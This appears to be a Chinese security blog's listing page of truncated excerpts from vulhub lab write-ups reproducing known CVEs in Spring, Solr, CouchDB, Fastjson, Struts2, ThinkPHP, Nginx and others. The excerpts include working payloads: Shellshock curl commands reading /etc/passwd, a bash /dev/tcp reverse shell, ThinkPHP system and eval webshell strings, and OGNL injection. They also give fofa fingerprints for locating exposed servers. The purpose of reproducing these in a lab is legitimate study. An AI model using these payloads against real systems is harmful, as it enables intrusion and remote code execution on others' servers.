qq_45300786的博客

简单来说就是先用序列化工具ysoserial启动一个JRMP服务，加载先相关漏洞利用链，加载你要执行的恶意代码。并将上述结果通过序列化工具ysoserial将我们的恶意代码进行一个序列化操作。第二步就是将我们的exp去加载ysoserial序列化后的数据，后去打有漏洞的服务。这个有反序列化漏洞的服务，会去反序列化后，执行我们的恶意代码。

执行命令的话，就用原来的payload原pocPOST /actuator/gateway/routes/hacktest HTTP/1.1Host: localhost:8080Accept-Encoding: gzip, deflateAccept: */*Accept-Language: enUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome

github维梓梓https://blog.youkuaiyun.com/weixin_43571641/article/details/108317554https://www.jianshu.com/p/43d86d7ed3a5https://www.cnblogs.com/itworks/p/7159477.htmlhttps://www.cnblogs.com/echoonly/p/15210051.htmlhttps://blog.youkuaiyun.com/qq_43645782/article/deta

https://blog.youkuaiyun.com/weixin_44033675/article/details/121316129

参考文章里的包有问题！这里提供对的包！POST /solr/demo/config HTTP/1.1Host: solr:8983Content-Type: application/jsonContent-Length: 259{ "update-queryresponsewriter": { "startup": "lazy", "name": "velocity", "class": "solr.VelocityResponseWriter", "temp

特征访问8983端口即可查看到Apache solr的管理页面，无需登录。（可能换端口）网站title是Solr Admin，图标有点像一朵红色的花影响版本Apache Solr 5.5.0到7.0.1版本漏洞利用此次7.1.0之前版本总共爆出两个漏洞：XML实体扩展漏洞（XXE）和远程命令执行漏洞（RCE），二者可以连接成利用链，编号均为CVE-2017-12629。https://paper.seebug.org/425/这里我看了下vulhub官方的文档，首先创建一个listener

特征特征请参考我的上一篇帖子【vulhub】Couchdb 垂直权限绕过漏洞（CVE-2017-12635）漏洞复现影响版本：小于 1.7.0 以及 小于 2.1.1复现注：复现中的很多东西也要用到这篇帖子，所以先看这篇【vulhub】Couchdb 垂直权限绕过漏洞（CVE-2017-12635）漏洞复现再来看本篇帖子该漏洞是需要登录用户方可触发，如果不知道目标管理员密码，可以利用CVE-2017-12635先增加一个管理员用户。本次复现是用的版本1.6http://192.168.1

特征1、端口可能是5984，直接访问端口是couchdb2、访问/_utils目录，网站title是一个红色沙发，title名是Project Fauxton还可以看到couchdb图标那么我们根据这些特征，用fofa搜索一下title="Project Fauxton"利用条件影响版本：小于 1.7.0 以及 小于 2.1.1参考：复现中的一些原理和排错https://www.cnblogs.com/foe0/p/11375757.html搭建过程https://blog.

搭建confluence看这3篇教程，该cve搭建是用Confluence Server，但是tm就是没有Confluence Serverhttps://www.icode9.com/content-4-915235.htmlhttps://blog.youkuaiyun.com/weixin_30813225/article/details/99669339https://www.cnblogs.com/huangxiaosan/p/14290034.html我这里直接提供keyAAABQw0ODAo

adobe coldfusion特征1、8500端口2、如图所示验证和反弹shell都有https://idc.wanyunshuju.com/aqld/2076.html

这个httpoxy漏洞，简单来说，就是可以截获用户http请求包，从而获取到一些敏感信息。httpoxy简单理解https://blog.youkuaiyun.com/zuoside__lord/article/details/107696503NC监听https://blog.youkuaiyun.com/qq_34640691/article/details/115740809?utm_medium=distribute.pc_relevant_t0.none-task-blog-2%7Edefault%7ECTRL

这个exp楼主目前还不会改，所以只能执行touch /tmp/celery_success等哪天楼主把python的pickle的序列化研究会了，再来更新其他命令。参考：https://blog.youkuaiyun.com/fnmsd/article/details/118575254

详细说明请看https://www.cnblogs.com/cute-puli/p/14649873.html楼主这里只做实验3个expexp1curl -A "() { :; }; echo; /bin/cat /etc/passwd" http://192.168.100.34:8080/victim.cgiexp2User-Agent: () { foo; }; echo Content-Type: text/plain; echo; /usr/bin/idexp3User-

就一个计划任务反弹shell，应该可以再计划任务，其他的一些任务。看第一个就是了，最后2个只是补充了一点坑https://blog.youkuaiyun.com/HEAVEN569/article/details/113804954https://blog.youkuaiyun.com/qq_37043565/article/details/118300736https://blog.youkuaiyun.com/qq_36374896/article/details/84191234...

这里只是一个认证绕过，认证后的利用楼主也不是很清楚。就这样吧，以后有想法了，再更新Appweb(CVE-2018-8715)漏洞复现与思考AppWeb认证绕过漏洞（CVE-2018-8715）

楼主困了，这里就直接写上楼主自己的一些操作详细过程可以看Apereo CAS 4.1 反序列化命令执行漏洞复现一、先跑下目录二、生成payloadhttp://www.jackson-t.ca/runtime-exec-payloads.html工具链接：https://github.com/vulhub/Apereo-CAS-Attack/releases/download/v1.0.0/apereo-cas-attack-1.0-SNAPSHOT-all.jar三、dnslog回显ja

https://blog.youkuaiyun.com/whatday/article/details/106544050

jexboss自动化渗透jexboss是针对jboss渗透自动化估计武器，是用于测试和利用JBoss Application Server和其他java平台、框架、应用程序等中的漏洞的工具。下载地址：https://github.com/joaomatosf/jexboss这里演示的环境是我上面搭建的4.x和6.x的环境。输入命令python jexboss.py -host http://192.168.100.34:8080可以看到很红色“vulnerable”，就是存在漏洞继续输入yes

之前都是工具一键getshell，没有仔细研究weblogic，这次手动payload的时候，遇到点问题，就稍微研究了一下。发现访问目标是war包+文件名http://192.168.100.80:7001/wls-wsat/test.jsp但是上传的时候却是war包+随机生成的目录值+war+文件名wls-wsat/54p17w/war/test.jsp以下是楼主分析结论一结论二...

漏洞详情老版本ElasticSearch支持传入动态脚本（MVEL）来执行一些复杂的操作，而MVEL可执行Java代码，而且没有沙盒，所以我们可以直接执行任意代码。elasticsearch版本：v1.1.1详细过程请看CVE-2014-3120 （命令执行漏洞）这里楼主只复现2个payload页面/_search?prettypost传参payload1{ "size": 1, "query": { "filtered": { "query"

利用条件影响版本· Spring Data Commons 1.13 - 1.13.10 (Ingalls SR10)· Spring Data REST 2.6 - 2.6.10 (Ingalls SR10)· Spring Data Commons 2.0 to 2.0.5 (Kay SR5)· Spring Data REST 3.0 - 3.0.5 (Kay SR5)复现过程vulhub详细过程请看Spring Data Commons 远程命令执行漏洞（CVE-2018-1273）

利用条件影响范围Spring Framework 5.0 to 5.0.4.Spring Framework 4.3 to 4.3.14已不支持的旧版本仍然受影响详细过程请看Spring Messaging 远程命令执行漏洞（CVE-2018-1270）对反弹shell的POC进行base64编码（java反弹shell都需要先编码，不然不会成功，原因貌似是runtime不支持管道符）bash -i >& /dev/tcp/192.168.100.23/9090 0>&a

漏洞详情Spring Data REST是一个构建在Spring Data之上，为了帮助开发者更加容易地开发REST风格的Web服务。在REST API的Patch方法中（实现RFC6902），path的值被传入setValue，导致执行了SpEL表达式，触发远程命令执行漏洞。参考链接：http://xxlegend.com/2017/09/29/Spring%20Data%20Rest服务器PATCH请求远程代码执行漏洞CVE-2017-8046补充分析/https://tech.meituan.

漏洞详情Spring WebFlow 是一个适用于开发基于流程的应用程序的框架（如购物逻辑），可以将流程的定义和实现流程行为的类和视图分离开来。在其 2.4.x 版本中，如果我们控制了数据绑定时的field，将导致一个SpEL表达式注入漏洞，最终造成任意命令执行。影响版本Spring WebFlow 2.4.0 - 2.4.4测试环境运行测试环境：靶机： 192.168.100.23 攻击机： 192.168.100.23docker-compose up -d然后访问id为1的酒店htt

https://blog.youkuaiyun.com/benben_2015/article/details/86544821docker network prune

利用条件0x01 影响版本Spring Security OAuth 1.0.0到1.0.5Spring Security OAuth 2.0.0到2.0.9Spring Security OAuth 2.0到2.0.14Spring Security OAuth 2.1到2.1.1Spring Security OAuth 2.2到2.2.1Spring Security OAuth 2.3到2.3.20x02默认登录账号密码 admin\admin访问路径/oauth/auth

参考：ActiveMQ系列漏洞汇总

盲打payload：1.2.67版本前{"zeo":{"@type":"java.net.Inet4Address","val":"fatu5k.dnslog.cn"}}1.2.67版本后payload{"@type":"java.net.Inet4Address","val":"dnslog"}{"@type":"java.net.Inet6Address","val":"dnslog"}这里我是fastjson1.2.24版本先获取一个dnslog抓包，然后加上我们的payloa

记得用我的poc，其他博主的poc都是失败。不信就试试，这里我就把成功复现的内容给大伙看就好了。其他的原理网上一大堆。我就不多比比，直接上链接Fastjson 1.2.24、47 反序列化导致任意命令执行漏洞复现Fastjson系列漏洞实战和总结1.2.24复现反序列化工具：https://github.com/RandomRobbieBF/marshalsec-jar1.2.24：pocPOST / HTTP/1.1Host: 靶机ip:8090Accept-Encoding: gzip,

poc%27+%2B+%28%23_memberAccess%5B%22allowStaticMethodAccess%22%5D%3Dtrue%2C%23foo%3Dnew+java.lang.Boolean%28%22false%22%29+%2C%23context%5B%22xwork.MethodAccessor.denyMethodExecution%22%5D%3D%23foo%2C%40org.apache.commons.io.IOUtils%40toString%28%40java.l

pochttp://192.168.100.23:8080/devmode.action?debug=command&expression=%23context%5B%22xwork.MethodAccessor.denyMethodExecution%22%5D%3Dfalse%2C%23f%3D%23_memberAccess.getClass().getDeclaredField(%22allowStaticMethodAccess%22)%2C%23f.setAccessible(true

漏洞复现poc：/index.php?s=index/\think\app/invokefunction&function=phpinfo&vars[0]=100payload11111:代码执行index.php?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoamipayload2222:写入webshell/

payload/index.php?s=a/b/c/${@print(eval($_POST[1]))}参考文章：https://blog.youkuaiyun.com/weixin_42918771/article/details/107014669

详细过程可以看我的这篇文章Apache Shiro Java反序列化漏洞这次我就直接用工作来复现工具地址https://github.com/feihong-cs/ShiroExploit-Deprecated/releases/tag/v2.3shiro的端口是8080默认然后等一会，解密监听端口然后反弹shell反弹成功参考文章https://vlambda.com/wz_7iadhz3GfNo.html...

struts2漏洞太多了，以至于我去了解了一下，好家伙几十个漏洞。就直接不想动了，这里我就直接搭建了一个危害比较大的漏洞S2-045docker-compose up -d然后struts2检测工具直接扫描。成功检测出来。话不多说，直接上传马连接成功参考文章：史上最全Struts2 漏洞复现合集（上）史上最全Struts 2 漏洞复现合集（下）...

Nginx解析漏洞复现。版本信息：Nginx 1.x 最新版PHP 7.x最新版由此可知，该漏洞与Nginx、php版本无关，属于用户配置不当造成的解析漏洞。也就是CGI开启。直接执行docker-compose up -d启动容器，无需编译。访问http://your-ip/uploadfiles/nginx.png和http://your-ip/uploadfiles/nginx.png/.php即可查看效果。正常显示：增加/.php后缀，被解析成PHP文件：我们再来上传一张图片

运行测试环境docker-compose up -d运行成功后，Nginx将会监听8080/8081/8082三个端口，分别对应三种漏洞。1.CRLF注入漏洞漏洞介绍：CRLF是“\r\n”的简称，即回车+换行的意思。在HTTP协议里，http头部和http正文是用两个CRLF分割的，恶意的注入http返回包头部，即是CRLF注入漏洞。这也叫HTTP Response Splitting ，简称HRS。漏洞复现：这里搭建了一个简单的靶机环境，错误配置示例如下，传入的 %oa%0d 会被uri解

# 实验原理（1）由于对http header中range域处理不当造成。（2）主要代码是ngx_http_range_parse函数中的循环。（3）Nginx在反向代理站点的时候，通常会将一些文件进行缓存，特别是静态文件。缓存的部分存储在文件中，每个缓存文件包括“文件头”+“HTTP返回包头”+“HTTP返回包体”。如果二次请求命中了该缓存文件，则Nginx会直接将该文件中的“HTTP返回包体”返回给用户。（4）如果我们的请求中包含Range头，Nginx将会根据我指定的start和end位置，返

这个环境是黑名单验证，我们无法上传php后缀的文件，需要利用CVE-2013-4547。我们上传一个test.gif空格 ，注意后面的空格：传入一张图片格式的文件，内容就为phpinfo。访问http://your-ip:8080/uploadfiles/test.gifaa.php，即可发现PHP已被解析把aa替换为空格和分隔符然后成功访问到既然可以成功解析成php，那么我们现在来上马试试详细文章https://github.com/vulhub/vulhub/blob/master/n

通过此命令达到文艺文件读取ssh -p 3322 -i id_rsa -t git@127.0.0.1 "git-upload-archive '--help'"输入上图的ssh命令后，在这个界面同时按shift键和e键然后输入想查看的文件/etc/passwd详细文章请参考https://blog.youkuaiyun.com/m0_46580995/article/details/109136159https://vulhub.org/#/environments/git/CVE-2017